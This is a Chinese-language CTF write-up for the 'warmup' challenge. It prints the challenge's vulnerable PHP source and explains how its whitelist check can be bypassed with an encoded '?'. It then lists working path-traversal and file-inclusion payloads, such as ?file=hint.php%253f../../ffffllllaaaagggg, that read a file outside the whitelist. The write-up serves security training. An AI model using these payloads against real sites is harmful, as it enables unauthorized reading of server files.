攻防世界之warmup
 source.php源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
然后白名单上还有提示hint.php这个页面,我们也去访问看看
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
返回信息:flag not here, and flag in ffffllllaaaagggg,说明flag在ffffllllaaaagggg。。
分析代码:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
首先这里有三个绕过:
- 要给file传递一个参数,即file不能为空
- file的参数必须是字符串
- 调用函数checkFile($_REQUEST[‘file’]) 返回的值为true
前面两个点很好理解,主要是第三个,现在再来看看emmm::checkFile()这个函数
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
乍看一下感觉挺麻烦的,其实是重复多余的代码太多了(个人理解)。所以只挑那些核心的代码来看就是:
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
.......................
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
分析代码: 要点一
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
首先是mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置 然后是mb_substr():函数返回字符串的一部分 即这两个函数结合就是提取问号(?)前面的字符串,比如:
hint.php?../../../../../../../../../../../../../ffffllllaaaagggg
返回的值是:
hint.php
要点二: 再然后就是,判断截取之后的$_page字符串是不是在白名单里。如果是则返回true
if (in_array($_page, $whitelist)) {
return true;
}
要点三: 此外,还有一个很重要的代码就是url的加解密:
$_page = urldecode($page);
那这里是url解密什么呢?结合上面的分析可以知道是解密问号(?) 另外还要注意的点是,这个问号(?) 在服务器端提取参数时会自动解码一次,checkFile函数中解码一次。所以:
? url加密===》 %3f url加密===》 %253f
而且根据做CTF的经验,看到后台代码有urldecode() 加密的时候。一般都会连续URL加密两次,但是这题很奇怪。只要一次URL加密就可以了。
所以payload可以有以下几种: URL加密一次:
?file=hint.php%3f../../../../../../../../../../../../../ffffllllaaaagggg
?file=source.php%3f../../../../../../../../../../../../../ffffllllaaaagggg
URL加密两次:
?file=hint.php%253f../../../../../../../../../../../../../ffffllllaaaagggg
?file=source.php%253f../../../../../../../../../../../../../ffffllllaaaagggg
另外,这里为什么要有这么多的../ 。我们都知道.. 表示返回上一级目录的意思,而一些出题人喜欢把flag放到根目录下。所以当在足够多的../ ,我们就能读取根目录下的flag了。
|